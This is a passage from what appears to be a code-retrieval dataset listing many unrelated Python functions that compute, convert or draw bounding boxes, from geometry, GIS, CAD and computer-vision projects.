z_boundary[:, None, 1],\n maxz[None, :] > z_boundary[:, None, 0],\n ) # max point between cell\n c = np.logical_and(\n minz[None, :] < z_boundary[:, None, 0],\n maxz[None, :] > z_boundary[:, None, 0],\n ) # min point < than cell & max point > cell\n\n z_logic = np.logical_or(np.logical_or(a, b), c)\n logic = np.logical_and(x_logic, y_logic)\n logic = np.logical_and(logic, z_logic)\n\n self.aabb_table = csr_matrix(logic)","def get_bbox(self):\n z2p = 64 # zoomFactor to bbox radius in pixels @ MIP0\n pos = Vec(*self.get_position())\n zoom = self.get_zoom()\n return Bbox(pos-Vec(z2p*zoom, z2p*zoom, 0), \n pos+Vec(z2p*zoom, z2p*zoom, 1))","def create_grid(self):\n # Domain definition\n network = pp.FractureNetwork2d(self.frac_pts.T, self.frac_edges.T, domain=self.box)\n gb = network.mesh(self.mesh_args) \n pp.contact_conditions.set_projections(gb)\n\n self.gb = gb\n self.Nd = self.gb.dim_max()\n self._Nd = self.gb.dim_max()\n g2d = self.gb.grids_of_dimension(2)[0]\n self.min_face = np.copy(self.mesh_size) #np.min(g2d.face_areas)\n self.min_cell = np.min(g2d.cell_volumes)\n self.p, self.t = analysis.adjustmesh(g2d, self.tips, self.GAP)\n self.displacement = self.p*0\n self.fa_no = g2d.face_nodes.indices.reshape((2, g2d.num_faces), order='f').T \n return gb","def get_bounding_box(self):\n if len(self.elements) == 0:\n return None\n if not (self._bb_valid and\n all(ref._bb_valid for ref in self.get_dependencies(True))):\n bb = numpy.array(((1e300, 1e300), (-1e300, -1e300)))\n all_polygons = []\n for element in self.elements:\n if isinstance(element, PolygonSet):\n all_polygons.extend(element.polygons)\n elif isinstance(element, CellReference) or isinstance(\n element, CellArray):\n element_bb = element.get_bounding_box()\n if element_bb is not None:\n bb[0, 0] = min(bb[0, 0], element_bb[0, 0])\n bb[0, 1] = min(bb[0, 1], element_bb[0, 1])\n bb[1, 0] = max(bb[1, 0], element_bb[1, 0])\n bb[1, 1] = max(bb[1, 1], element_bb[1, 1])\n if len(all_polygons) > 0:\n all_points = numpy.concatenate(all_polygons).transpose()\n bb[0, 0] = min(bb[0, 0], all_points[0].min())\n bb[0, 1] = min(bb[0, 1], all_points[1].min())\n bb[1, 0] = max(bb[1, 0], all_points[0].max())\n bb[1, 1] = max(bb[1, 1], all_points[1].max())\n self._bb_valid = True\n _bounding_boxes[self] = bb\n return _bounding_boxes[self]","def getBoundingBox(cls, dagPath):\n\n box = BoundingBox3D()\n box.fromExactWorldBoundingBox(cmds.exactWorldBoundingBox(dagPath))\n return box","def create_box(self, a, b, c):\n proj_to_xy = lambda x: x[:2]\n get_angle = lambda x,y: (x @ y) / (np.linalg.norm(x) * np.linalg.norm(y))\n\n ab = proj_to_xy(b) - proj_to_xy(a)\n ac = proj_to_xy(c) - proj_to_xy(a)\n bc = proj_to_xy(c) - proj_to_xy(b)\n\n ab_ac = np.abs(get_angle(ab, ac))\n ab_bc = np.abs(get_angle(ab, bc))\n\n x1, y1, z1 = a\n x2, y2, z2 = b\n x3, y3, z3 = c\n\n z = (z1 + z2)/2\n\n down = np.array([0., 0., z - z3])\n\n if ab_ac < ab_bc: # 3. point is bottom-left\n back = np.array([ac[0], ac[1], 0])\n else: # 3. point is bottom-right\n back = np.array([bc[0], bc[1], 0])\n\n tfl = np.array([x1, y1, z])\n tfr = np.array([x2, y2, z])\n\n tbl = tfl + back\n tbr = tfr + back\n\n bfl = tfl - down\n bfr = tfr - down\n\n bbl = bfl + back\n bbr = bfr + back\n\n return np.array([\n tfl, tfr,\n tbl, tbr,\n bfl, bfr,\n bbl, bbr\n ])","def uv_bounds(self):\n umin, umax, vmin, vmax = breptools_UVBounds(self.topods_shape())\n bounds = Box(np.array([umin, vmin]))\n bounds.encompass_point(np.array([umax, vmax]))\n return bounds","def draw_bbox(n):\n return drawBbox(named(n))","def bounding_box(points):\n x, y, w, h = cv2.boundingRect(np.array([p for p in points]))\n bounding = Box(x, y, w, h)\n return bounding","def bounding_box(molecule, colors=(1, 1, 1), linewidth=0.3):\n pts = numpy_to_vtk_points(get_all_atomic_positions(molecule))\n min_x, max_x, min_y, max_y, min_z, max_z = pts.GetBounds()\n\n lines = np.array(\n [\n [[min_x, min_y, min_z], [min_x, min_y, max_z]],\n [[min_x, max_y, min_z], [min_x, max_y, max_z]],\n [[max_x, min_y, min_z], [max_x, min_y, max_z]],\n [[max_x, max_y, min_z], [max_x, max_y, max_z]],\n [[min_x, min_y, min_z], [max_x, min_y, min_z]],\n [[min_x, max_y, min_z], [max_x, max_y, min_z]],\n [[min_x, max_y, max_z], [max_x, max_y, max_z]],\n [[min_x, min_y, max_z], [max_x, min_y, max_z]],\n [[min_x, min_y, min_z], [min_x, max_y, min_z]],\n [[max_x, min_y, min_z], [max_x, max_y, min_z]],\n [[min_x, min_y, max_z], [min_x, max_y, max_z]],\n [[max_x, min_y, max_z], [max_x, max_y, max_z]],\n ]\n )\n\n return streamtube(lines, colors=colors, linewidth=linewidth)","def make_wander_box(self):\n x = int(self.location[0])\n y = int(self.location[1])\n box_list = []\n box_rects = []\n\n for i in range(x-3, x+4):\n box_list.append([i, y-3])\n box_list.append([i, y+3])\n\n for i in range(y-2, y+3):\n box_list.append([x-3, i])\n box_list.append([x+3, i])\n\n for box in box_list:\n left = box[0]*32\n top = box[1]*32\n box_rects.append(pg.Rect(left, top, 32, 32))\n\n return box_rects","def _boundRect(self):\n addresstamp = reduce(lambda x, y: x + y, [v.addresstamp for v in self.footprints])\n self.upperleft = list(map(min, zip(*addresstamp)))\n self.bottomright = list(map(max, zip(*addresstamp)))\n self.upperright = [self.bottomright[0], self.upperleft[1]]\n self.bottomleft = [self.upperleft[0], self.bottomright[1]]\n (self.width, self.height) = (self.upperright[0] - self.bottomleft[0], self.bottomleft[1] - self.upperright[1])\n assert self.width >= 0\n assert self.height >= 0\n self.center = [self.upperleft[0] + self.width / float(2), self.upperleft[1] + self.height / float(2)]\n self.corners = [self.upperright, self.bottomleft, self.upperleft, self.bottomright]","def get_box_coordinates(self):\n return QRect(self.box_begin,self.box_end)","def bounding_box(self, integral=False):\n box_min = []\n box_max = []\n if self.n_vertices==0:\n raise ValueError('Empty polytope is not allowed')\n for i in range(0,self.ambient_dim()):\n coords = [ v[i] for v in self.Vrep_generator() ]\n max_coord = max(coords)\n min_coord = min(coords)\n if integral:\n box_max.append(ceil(max_coord))\n box_min.append(floor(min_coord))\n else:\n box_max.append(max_coord)\n box_min.append(min_coord)\n return (tuple(box_min), tuple(box_max))","def boundary(self): # -> BaseGeometry:\n ...","def get_bounding_box(current_building_contour):\n x, y, w, h, = cv.boundingRect(current_building_contour[0])\n return x, y, w, h","def _boundRect(self):\n self.upperleft = list(map(min, zip(*self.addresstamp)))\n self.bottomright = list(map(max, zip(*self.addresstamp)))\n self.upperright = [self.bottomright[0], self.upperleft[1]]\n self.bottomleft = [self.upperleft[0], self.bottomright[1]]\n (self.width, self.height) = (self.upperright[0] - self.bottomleft[0], self.bottomleft[1] - self.upperright[1])\n assert self.width >= 0\n assert self.height >= 0\n self.center = [self.upperleft[0] + self.width / float(2), self.upperleft[1] + self.height / float(2)]\n self.corners = [self.upperright, self.bottomleft, self.upperleft, self.bottomright]","def box(self) -> math.Box:\n area = self.__dict__[\"area\"]\n if area is None:\n return math.Box()\n return math.Box(math.Point(*area[:2]), math.Point(*area[-2:]))","def __init__(self, bbox, min_h=0, max_h=2):\r\n self.classname = \"not_set\"\r\n self.points = None\r\n self.bbox_center = [bbox[0], bbox[1], (max_h + min_h)/2]\r\n self.bbox_size = [bbox[2], bbox[3], max_h - min_h]\r\n self.cos_t = bbox[4]\r\n self.sin_t = bbox[5]\r\n self.bbox = get_bbox_properties(self, min_h, max_h)","def _decode_bbox(self, normalized_bbox):\n #apply the inverse of transformation\n y1,x1,y2,x2 = preprocess.apply_transformation(normalized_bbox,\n np.linalg.inv(self.transformation))\n\n w,h = self.image_size\n y1,x1,y2,x2 = y1*h,x1*w,y2*h,x2*w\n return vot.Rectangle(x1,y1,x2-x1,y2-y1)","def from_xywh(\n label: str, \n xmid: float, \n ymid: float, \n width: float, \n height: float, \n confidence: float = None\n ) -> \"BoundingBox\":\n mid_w = width / 2\n mid_h = height / 2\n\n xmin = xmid - mid_w\n ymin = ymid - mid_h\n xmax = xmid + mid_w\n ymax = ymid + mid_h\n\n return BoundingBox(label, xmin, ymin, xmax, ymax, confidence)","def GetBox(quad):\n x0, y0, _, _, x1, y1, _, _ = quad\n return (x0, y0, x1, y1)","def bounds(self) -> Box:\n raise NotImplementedError()","def get_final_bounding_box(boxes, nms_idx, width: int, height: int):\n x1 = np.inf\n y1 = np.inf\n x2 = -np.inf\n y2 = -np.inf\n\n bx = [boxes[i] for i in nms_idx]\n for box in bx:\n xmin = np.min(box[[0, 2]])\n xmax = np.max(box[[0, 2]])\n ymin = np.min(box[[1, 3]])\n ymax = np.max(box[[1, 3]])\n\n x1 = np.min([xmin, x1])\n y1 = np.min([ymin, y1])\n x2 = np.max([xmax, x2])\n y2 = np.max([ymax, y2])\n return x1, y1, x2, y2","def getBoundingBox(self):\n lX, lY = self.lX(), self.lY()\n return min(lX), min(lY), max(lX), max(lY)","def __init__(self, boxCoord):\n self.boxCoord =boxCoord\n v1 = self.boxCoord[0] \n \n self.xmin = v1[0]\n self.ymin = v1[1]\n self.zmin =v1[2]\n\n v8 = self.boxCoord[7] \n \n self.xmax = v8[0]\n self.ymax = v8[1]\n self.zmax = v8[2]\n\n x = abs(self.xmax-self.xmin)\n y = abs(self.ymax-self.ymin)\n z = abs(self.zmax-self.zmin)\n\n XYZBox.__init__(self, x,y,z)","def return_bbox_image(self, image, bboxes, label, color):\n if bboxes:\n for obj in bboxes:\n image = self.draw_single_bbox(image, obj.position_xywh, label=label, color=color)\n\n return image","def bounding_box(self, grid=1):\n supp = self.support\n grid = [np.linspace(s[0], s[1], grid+1) for s in supp]\n X = self.grid_eval(grid)\n X.shape = (-1, self.dim)\n return tuple((X[:, d].min(), X[:, d].max()) for d in range(self.dim))","def cube_from_bbox(bbox):\n cube = pm.polyCube(\n width=bbox.width(),\n height=bbox.height(),\n depth=bbox.depth(),\n ch=False\n )\n cube[0].setAttr('t', bbox.center())\n return cube[0]","def geotransform2bb(geotransform, nx, ny):\n res = geotransform[1]\n x_min = geotransform[0] - res/2\n y_max = geotransform[3] + res/2\n x_max = x_min + nx*res + res\n y_min = y_max - ny*res - res\n return BoundingBox(x_min, y_min, x_max, y_max)","def make_yolo_bbox(width, height, x1, y1, x2, y2):\n x1, y1 = x1 / width, y1 / height\n x2, y2 = x2 / width, y2 / height\n w = (x2 - x1) \n h = (y2 - y1) \n center_x = x1 + w/2\n center_y = y1 + h/2\n \n return center_x, center_y, w, h","def covering_box(boxes):\n x_min = np.amin([b.x for b in boxes])\n x_max = np.amax([b.x + b.width for b in boxes])\n y_min = np.amin([b.y for b in boxes])\n y_max = np.amax([b.y + b.height for b in boxes])\n cover = Box(x_min, y_min, x_max - x_min, y_max - y_min)\n return cover","def create_bbox(nodes, per_selection=False):\n\n if per_selection:\n for node in nodes:\n return cube_from_bbox(node.boundingBox())\n else:\n bbox = pm.dt.BoundingBox()\n for node in nodes:\n bbox.expand(node.boundingBox().min())\n bbox.expand(node.boundingBox().max())\n return cube_from_bbox(bbox)","def build_box(blcorner, trcorner):\n modelbox = [[], []]\n if blcorner != None:\n x, y = literal_eval(blcorner)\n modelbox[0].append(str(x))\n modelbox[0].append(str(y))\n else:\n raise TelemacException(\\\n '... could not find your bounding box bottom left'\n 'corner. Please use --bl option (, delimited, no '\n 'spaces).\\n\\n')\n if trcorner != None:\n x, y = literal_eval(trcorner)\n modelbox[1].append(str(x))\n modelbox[1].append(str(y))\n else:\n raise TelemacException(\\\n '... could not find your bounding box top right '\n 'corner. Please use --tr option (, delimited, no '\n 'spaces).\\n\\n')\n return modelbox","def bbox(self):\n return np.array(\n [[self.position[0], self.position[1]], [self.position[0], self.position[1]]]\n )","def bbox(self):\n bbox = self.get_bounding_box()\n if bbox is None:\n bbox = ((0, 0), (0, 0))\n return np.array(bbox)","def draw_boxes(image, bounds):\n draw = ImageDraw.Draw(image)\n if bounds[0].normalized_vertices:\n width = image.width\n height = image.height\n for i in range(len(bounds)):\n draw.polygon([\n bounds[i].normalized_vertices[0].x * width, bounds[i].normalized_vertices[0].y * height,\n bounds[i].normalized_vertices[1].x * width, bounds[i].normalized_vertices[1].y * height,\n bounds[i].normalized_vertices[2].x * width, bounds[i].normalized_vertices[2].y * height,\n bounds[i].normalized_vertices[3].x * width, bounds[i].normalized_vertices[3].y * height],\n None, colors[i % len(colors)])\n return image\n else:\n for i in range(len(bounds)):\n draw.polygon([\n bounds[i].vertices[0].x, bounds[i].vertices[0].y,\n bounds[i].vertices[1].x, bounds[i].vertices[1].y,\n bounds[i].vertices[2].x, bounds[i].vertices[2].y,\n bounds[i].vertices[3].x, bounds[i].vertices[3].y],\n None, colors[i % len(colors)])\n return image","def get_bounding_box(vehicle, camera):\n\n bb_cords = ClientSideBoundingBoxes._create_bb_points(vehicle)\n cords_x_y_z = ClientSideBoundingBoxes._vehicle_to_sensor(bb_cords, vehicle, camera)[:3, :]\n cords_y_minus_z_x = np.concatenate([cords_x_y_z[1, :], -cords_x_y_z[2, :], cords_x_y_z[0, :]])\n bbox = np.transpose(np.dot(camera.calibration, cords_y_minus_z_x))\n camera_bbox = np.concatenate([bbox[:, 0] / bbox[:, 2], bbox[:, 1] / bbox[:, 2], bbox[:, 2]], axis=1)\n return camera_bbox","def get_bounding_box(self):\n if len(self.polygons) == 0:\n return None\n return numpy.array(((min(pts[:, 0].min() for pts in self.polygons),\n min(pts[:, 1].min() for pts in self.polygons)),\n (max(pts[:, 0].max() for pts in self.polygons),\n max(pts[:, 1].max() for pts in self.polygons))))","def defineRectangleLayout(self):\n\n #--- Define a 2-D mesh ---\n # Divide x- and y-axis\n self.xPoints = self.frange(0,self.Lx,self.h)\n self.yPoints = self.frange(0,self.Ly,self.h)\n\n # Position (xy-coordinate) of boundary points\n boundary_xyCoord = [(0,j) for j in self.yPoints] + [(self.Lx,j) for j in self.yPoints] + [(i,0) for i in self.xPoints[1:len(self.xPoints)-1]] + [(i,self.Ly) for i in self.xPoints[1:len(self.xPoints)-1]] \n\n # Define the dictionary containing boundary points\n for k in boundary_xyCoord:\n x = k[0]\n y = k[1]\n xLabel = self.xPoints.index(x)\n yLabel = self.yPoints.index(y)\n self.boundaryPoints[(xLabel,yLabel)] = meshPoint(type = 'boundary',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \n \n # Position (xy-coordinate) of internal mesh points\n internal_xyCoord = [(i,j) for i in self.xPoints[1:len(self.xPoints)-1] for j in self.yPoints[1:len(self.yPoints)-1]] \n\n # Define the dictionary containing internal points\n for k in internal_xyCoord:\n x = k[0]\n y = k[1]\n xLabel = self.xPoints.index(x)\n yLabel = self.yPoints.index(y)\n self.internalPoints[(xLabel,yLabel)] = meshPoint(type = 'internal',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \n\n # Now that we have assigned the labels we can define fE, fW, fN and fS\n self.fCalc()","def box(self, x, y, w, h):\n\t\tpass","def createBox( size=(1,1,1), position=(0,0,0), colour=(0.6,0.6,0.6) ):\r\n \r\n size = PyUtils.toVector3d(size)\r\n position = PyUtils.toPoint3d(position)\r\n vertices = []\r\n delta = MathLib.Vector3d()\r\n for repeat in range(3):\r\n for x in (-0.5,0.5) :\r\n delta.x = size.x * x\r\n for y in (-0.5,0.5) :\r\n delta.y = size.y * y\r\n for z in (-0.5,0.5) :\r\n delta.z = size.z * z\r\n vertices.append( position + delta )\r\n \r\n faces = [(0,1,3,2),(5,4,6,7), # YZ Faces\r\n (9,13,15,11),(12,8,10,14), # XY Faces\r\n (18,19,23,22),(17,16,20,21)] # XZ Faces\r\n \r\n return create( vertices, faces, colour )","def _sourceBoundingBox(self, source, width, height):\n pos = source.get('position')\n bbox = {'left': 0, 'top': 0, 'right': width, 'bottom': height}\n if not pos:\n return bbox\n x0, y0, x1, y1 = 0, 0, width, height\n if 'crop' in pos:\n x0 = min(max(pos['crop'].get('left', x0), 0), width)\n y0 = min(max(pos['crop'].get('top', y0), 0), height)\n x1 = min(max(pos['crop'].get('right', x1), x0), width)\n y1 = min(max(pos['crop'].get('bottom', y1), y0), height)\n bbox['crop'] = {'left': x0, 'top': y0, 'right': x1, 'bottom': y1}\n corners = np.array([[x0, y0, 1], [x1, y0, 1], [x0, y1, 1], [x1, y1, 1]])\n m = np.identity(3)\n m[0][0] = pos.get('s11', 1) * pos.get('scale', 1)\n m[0][1] = pos.get('s12', 0) * pos.get('scale', 1)\n m[0][2] = pos.get('x', 0)\n m[1][0] = pos.get('s21', 0) * pos.get('scale', 1)\n m[1][1] = pos.get('s22', 1) * pos.get('scale', 1)\n m[1][2] = pos.get('y', 0)\n if not np.array_equal(m, np.identity(3)):\n bbox['transform'] = m\n try:\n bbox['inverse'] = np.linalg.inv(m)\n except np.linalg.LinAlgError:\n msg = 'The position for a source is not invertable (%r)'\n raise TileSourceError(msg, pos)\n transcorners = np.dot(m, corners.T)\n bbox['left'] = min(transcorners[0])\n bbox['top'] = min(transcorners[1])\n bbox['right'] = max(transcorners[0])\n bbox['bottom'] = max(transcorners[1])\n return bbox","def test_get_bounding_box(self):\n\n # Note there are two possible correct values of bbox depending on\n # the version of gdal:\n # http://trac.osgeo.org/gdal/wiki/rfc33_gtiff_pixelispoint\n\n # Get gdal version number\n x = gdal.VersionInfo('').replace('dev', '').split()\n y = x[1].split('.')[:2]\n z = ''.join(y) # Turn into number and\n if z.endswith(','):\n z = z[:-1] # Remove trailing comma\n\n # Reference bbox for vector data\n ref_bbox = {'tsunami_building_exposure.shp': [150.15238387897742,\n -35.71084183517241,\n 150.18779267086208,\n -35.70131768155173]}\n\n # Select correct reference bbox for rasters\n if float(z) < 17:\n ref_bbox['Earthquake_Ground_Shaking_clip.tif'] = [99.3641696,\n -2.2031806,\n 102.2411696,\n -0.0041806]\n else:\n ref_bbox['Earthquake_Ground_Shaking_clip.tif'] = [99.36,\n -2.199,\n 102.237,\n 0.0]\n\n for filename in ['Earthquake_Ground_Shaking_clip.tif',\n 'tsunami_building_exposure.shp']:\n abspath = os.path.join(TESTDATA, filename)\n bbox = get_bounding_box(abspath)\n msg = ('Got bbox %s from filename %s, but expected %s '\n % (str(bbox), filename, str(ref_bbox[filename])))\n assert numpy.allclose(bbox, ref_bbox[filename]), msg\n\n # Check the conversions\n bbox_string = bboxlist2string(bbox)\n\n # Check the check :-)\n check_bbox_string(bbox_string)\n\n # Check that it works for layer objects instantiated from file\n L = read_layer(abspath)\n L_bbox = L.get_bounding_box()\n msg = ('Got bbox %s from filename %s, but expected %s '\n % (str(L_bbox), filename, str(ref_bbox[filename])))\n assert numpy.allclose(L_bbox, ref_bbox[filename]), msg\n\n # Check that it works for layer objects instantiated from data\n if L.is_raster:\n D = Raster(data=L.get_data(),\n projection=L.get_projection(),\n geotransform=L.get_geotransform())\n elif L.is_vector:\n D = Vector(data=L.get_data(),\n projection=L.get_projection(),\n geometry=L.get_geometry())\n else:\n msg = 'Unexpected layer object: %s' % str(L)\n raise RuntimeError(msg)\n\n # Check that get_bounding_box works for data instantiated layers\n D_bbox = D.get_bounding_box()\n msg = ('Got bbox %s from layer %s, but expected %s '\n % (str(D_bbox), str(D), str(L_bbox)))\n assert numpy.allclose(D_bbox, L_bbox), msg","def getbbox(self):\n pass","def get_bbox(x,y, buffer=0.):\n return dict(left=np.min(x), \n right=np.max(x), \n bottom=np.min(y), \n top=np.max(y))","def getLocation(bounding_box):\n ymin, xmin, ymax, xmax = bounding_box\n w=1280\n h=720\n left, right, top, bottom = (xmin * w, xmax * w,\n ymin * h, ymax * h)\n ###############################################\n\n top = max(0, np.floor(top + 0.5).astype('int32'))\n left = max(0, np.floor(left + 0.5).astype('int32'))\n bottom = min(h, np.floor(bottom + 0.5).astype('int32'))\n right = min(w, np.floor(right + 0.5).astype('int32'))\n # print(label, (left, top), (right, bottom))\n \n return int((left + right) / 2.0), int((top + bottom) / 2.0)\n \n # xlt, ylt, xrb, yrb = bounding_box\n # return int((xlt + xrb) / 2.0), int((ylt + yrb) / 2.0)","def vis_bbox(image: Image, bbox, color=_GREEN, thick=1) -> Image:\n image = image.astype(np.uint8)\n bbox = list(map(int, bbox))\n x0, y0, x1, y1 = bbox\n cv2.rectangle(image, (x0, y0), (x1, y1), color, thickness=thick)\n return image","def add_box(self, l, w, h, x, y, z, comment=\"\"):\n self.data['shape']['compound'].append({'box': {'#': comment, 'pose': {'x': x, 'y': y, 'z': z},\n 'size': {'x': l, 'y': w, 'z': h}}})","def get_boxes(self):\r\n\r\n boxes = [(\" \", self.worldbox.tl, self.worldbox.br)]\r\n# boxes = []\r\n boxes += [(\".\", b.tl, b.br) for b in self.wallboxes]\r\n boxes += [(\"x\", b.tl, b.br) for b in self.targetboxes]\r\n agentscale = 100\r\n boxes += [(\"a\", (self.i_state[0] - self.dx * agentscale, self.i_state[1] - self.dx * agentscale),\r\n (self.i_state[0] + self.dx * agentscale, self.i_state[1] + self.dx * agentscale))]\r\n return boxes","def bounds(*tile):\n tile = _parse_tile_arg(*tile)\n xtile, ytile, zoom, provider_bounds = tile\n a = ul(xtile, ytile, zoom, provider_bounds)\n b = ul(xtile + 1, ytile + 1, zoom, provider_bounds)\n return Bbox(a[0], b[1], b[0], a[1])","def get_bounding_box(self):\n deps_still_valid = all(ref._bb_valid for ref in self.get_dependencies(True))\n cached_bbox_still_valid = self._bb_valid and deps_still_valid\n if not cached_bbox_still_valid:\n bb = numpy.array(((1e300, 1e300), (-1e300, -1e300)))\n all_polygons = []\n for polygon in self.polygons:\n all_polygons.extend(polygon.polygons)\n for path in self.paths:\n all_polygons.extend(path.to_polygonset().polygons)\n for reference in self.references:\n reference_bb = reference.get_bounding_box()\n if reference_bb is not None:\n all_polygons.append(reference_bb)\n if len(all_polygons) > 0:\n all_points = numpy.concatenate(all_polygons).transpose()\n bb[0, 0] = min(bb[0, 0], all_points[0].min())\n bb[0, 1] = min(bb[0, 1], all_points[1].min())\n bb[1, 0] = max(bb[1, 0], all_points[0].max())\n bb[1, 1] = max(bb[1, 1], all_points[1].max())\n self._bounding_box = bb\n else:\n self._bounding_box = None\n self._bb_valid = True\n\n if self._bounding_box is None:\n return None\n else:\n # return a *copy* of the cached bounding box to ensure it doesn't get inadvertently modified\n return numpy.array(self._bounding_box)","def bounds(self):\n return self._bboxes[0][0] #TODO: merge all coverages","def bounding_box(self, value):\n frames = self.available_frames\n transform_0 = self.get_transform(frames[0], frames[1])\n if value is None:\n transform_0.bounding_box = value\n else:\n try:\n # Make sure the dimensions of the new bbox are correct.\n mutils._BoundingBox.validate(transform_0, value)\n except Exception:\n raise\n # get the sorted order of axes' indices\n axes_ind = self._get_axes_indices()\n if transform_0.n_inputs == 1:\n transform_0.bounding_box = value\n else:\n # The axes in bounding_box in modeling follow python order\n #transform_0.bounding_box = np.array(value)[axes_ind][::-1]\n transform_0.bounding_box = [value[ind] for ind in axes_ind][::-1]\n self.set_transform(frames[0], frames[1], transform_0)","def bounding_box(points):\n x, y, z = zip(*points)\n min_x = min(x)\n max_x = max(x)\n min_y = min(y)\n max_y = max(y)\n min_z = min(z)\n max_z = max(z)\n return [(min_x, min_y, min_z),\n (max_x, min_y, min_z),\n (max_x, max_y, min_z),\n (min_x, max_y, min_z),\n (min_x, min_y, max_z),\n (max_x, min_y, max_z),\n (max_x, max_y, max_z),\n (min_x, max_y, max_z)]","def create_box(world, space, density, lx, ly, lz):\r\n\r\n\t\t# Create body\r\n\t\tbody = ode.Body(world)\r\n\t\tM = ode.Mass()\r\n\t\tM.setBox(density, lx, ly, lz)\r\n\t\tbody.setMass(M)\r\n\r\n\t\t# Set parameters for drawing the body\r\n\t\tbody.shape = \"box\"\r\n\t\tbody.boxsize = (lx, ly, lz)\r\n\r\n\t\t# Create a box geom for collision detection\r\n\t\tgeom = ode.GeomBox(space, lengths = body.boxsize)\r\n\t\tgeom.setBody(body)\r\n\r\n\t\treturn body, geom"],"string":"[\n \"def boundingBox(self):\\n minx, miny, maxx, maxy = self.substrates.bounds\\n return pcbnew.BOX2I(\\n pcbnew.VECTOR2I(int(minx), int(miny)),\\n pcbnew.VECTOR2I(int(maxx - minx), int(maxy - miny)))\",\n \"def bounding_box(self):\\n # We use the solution described in\\n # https://stackoverflow.com/a/14163413\\n cos_theta = np.cos(self.angle)\\n sin_theta = np.sin(self.angle)\\n width_x = 0.5 * self.width * cos_theta\\n width_y = 0.5 * self.width * sin_theta\\n height_x = 0.5 * self.height * -sin_theta\\n height_y = 0.5 * self.height * cos_theta\\n dx = np.sqrt(width_x**2 + height_x**2)\\n dy = np.sqrt(width_y**2 + height_y**2)\\n\\n xmin = self.center.x - dx\\n xmax = self.center.x + dx\\n ymin = self.center.y - dy\\n ymax = self.center.y + dy\\n\\n return RegionBoundingBox.from_float(xmin, xmax, ymin, ymax)\",\n \"def bounding_box(self):\\n latlon00 = self.ij_to_latlon(-1,-1)\\n latlon01 = self.ij_to_latlon(-1,self.domain_size[1]+1)\\n latlon11 = self.ij_to_latlon(self.domain_size[0]+1,self.domain_size[1]+1)\\n latlon10 = self.ij_to_latlon(self.domain_size[0]+1,-1)\\n return (latlon00,latlon01,latlon11,latlon10)\",\n \"def get_boundingbox(face, width, height, scale=1.3, minsize=None):\\n x1 = face.left()\\n y1 = face.top()\\n x2 = face.right()\\n y2 = face.bottom()\\n size_bb = int(max(x2 - x1, y2 - y1) * scale)\\n if minsize:\\n if size_bb < minsize:\\n size_bb = minsize\\n center_x, center_y = (x1 + x2) // 2, (y1 + y2) // 2\\n\\n # Check for out of bounds, x-y top left corner\\n x1 = max(int(center_x - size_bb // 2), 0)\\n y1 = max(int(center_y - size_bb // 2), 0)\\n # Check for too big bb size for given x, y\\n size_bb = min(width - x1, size_bb)\\n size_bb = min(height - y1, size_bb)\\n\\n return x1, y1, size_bb\",\n \"def canvas_bounds(self) -> utils.BoxRegion:\",\n \"def to_bounding_box(self):\\n if self.bbox is not None:\\n return self.bbox\\n from .bbox import BBox\\n\\n xx = self.xx\\n yy = self.yy\\n self.bbox = BBox(xmin=min(xx), xmax=max(xx), ymin=min(yy), ymax=max(yy), label=self.label, **self.fields)\\n return self.bbox\",\n \"def bbox(bbox = [(-1, -1), (3, 4)], layer = 0):\\n D = Device(name = 'bbox')\\n (a,b), (c,d) = bbox\\n points = ((a,b), (c,b), (c,d), (a,d))\\n D.add_polygon(points, layer = layer)\\n return D\",\n \"def bbox(\\n bbox: Tuple[Coordinate, Coordinate] = ((-1.0, -1.0), (3.0, 4.0)),\\n layer: Tuple[int, int] = (1, 0),\\n top: float = 0,\\n bottom: float = 0,\\n left: float = 0,\\n right: float = 0,\\n) -> gf.Component:\\n D = gf.Component()\\n (xmin, ymin), (xmax, ymax) = bbox\\n points = [\\n [xmin - left, ymin - bottom],\\n [xmax + right, ymin - bottom],\\n [xmax + right, ymax + top],\\n [xmin - left, ymax + top],\\n ]\\n D.add_polygon(points, layer=layer)\\n return D\",\n \"def bounding_box(primitive):\\n\\n if primitive[\\\"shape\\\"] == \\\"circle\\\":\\n bbox = [[primitive[\\\"center\\\"][0] - primitive[\\\"radius\\\"],\\n primitive[\\\"center\\\"][1] - primitive[\\\"radius\\\"]],\\n [primitive[\\\"center\\\"][0] + primitive[\\\"radius\\\"],\\n primitive[\\\"center\\\"][1] + primitive[\\\"radius\\\"]]]\\n else:\\n x_coords, y_coords = zip(*primitive[\\\"vertices\\\"])\\n bbox = [[min(x_coords), min(y_coords)],\\n [max(x_coords), max(y_coords)]]\\n\\n primitive[\\\"bounding_box\\\"] = bbox\\n return primitive\",\n \"def from_bounds(cls, bounds) -> \\\"Box\\\":\\n return cls(\\n x=bounds[\\\"left\\\"],\\n y=bounds[\\\"top\\\"],\\n width=bounds[\\\"right\\\"] - bounds[\\\"left\\\"],\\n height=bounds[\\\"bottom\\\"] - bounds[\\\"top\\\"],\\n )\",\n \"def get_bounding_box(self):\\n lon, lat = self.coordinates\\n\\n ll = (np.min(lon),np.min(lat))\\n ul = (np.min(lon),np.max(lat))\\n ur = (np.max(lon),np.max(lat))\\n lr = (np.max(lon),np.min(lat))\\n\\n return (ll, ul, ur, lr)\",\n \"def bounding_box(self):\\n return None\",\n \"def boundingBox(self):\\n y_max = np.max(self.points[:,0])\\n x_max = np.max(self.points[:,1])\\n y_min = np.min(self.points[:,0])\\n x_min = np.min(self.points[:,1])\\n \\n return ((x_max, y_max), (x_min, y_min))\",\n \"def b_create_base_geometry(b_name):\\n b_obj = b_create_cube(b_name)\\n return b_obj\",\n \"def checkBoundingBox(ontology_bounding_box):\\n heigth = ontology_bounding_box.has_heigth[0]\\n width = ontology_bounding_box.has_width[0]\\n length = ontology_bounding_box.has_length[0]\\n x = ontology_bounding_box.has_x_center[0]\\n y = ontology_bounding_box.has_y_center[0]\\n z = ontology_bounding_box.has_z_center[0]\\n return xosc.BoundingBox(width,length,heigth,x,y,z)\",\n \"def bounding_box(vertices, (height, width), extend=5):\\n x_min = min(x for x, y in vertices) - extend\\n x_max = max(x for x, y in vertices) + extend\\n y_min = min(y for x, y in vertices) - extend\\n y_max = max(y for x, y in vertices) + extend\\n \\n return max(x_min, 0), min(x_max, width), max(y_min, 0), min(y_max, height)\",\n \"def boundingBoxArea(box):\\n return (box[2] - box[0] + 1) * (box[3] - box[1] + 1)\",\n \"def box(self):\\n b = Bnd_Box()\\n brepbndlib_Add(self.topods_shape(), b)\\n return geom_utils.box_to_geometry(b)\",\n \"def BoundingBoxes(self, show_plot=False, figure=None):\\n\\n 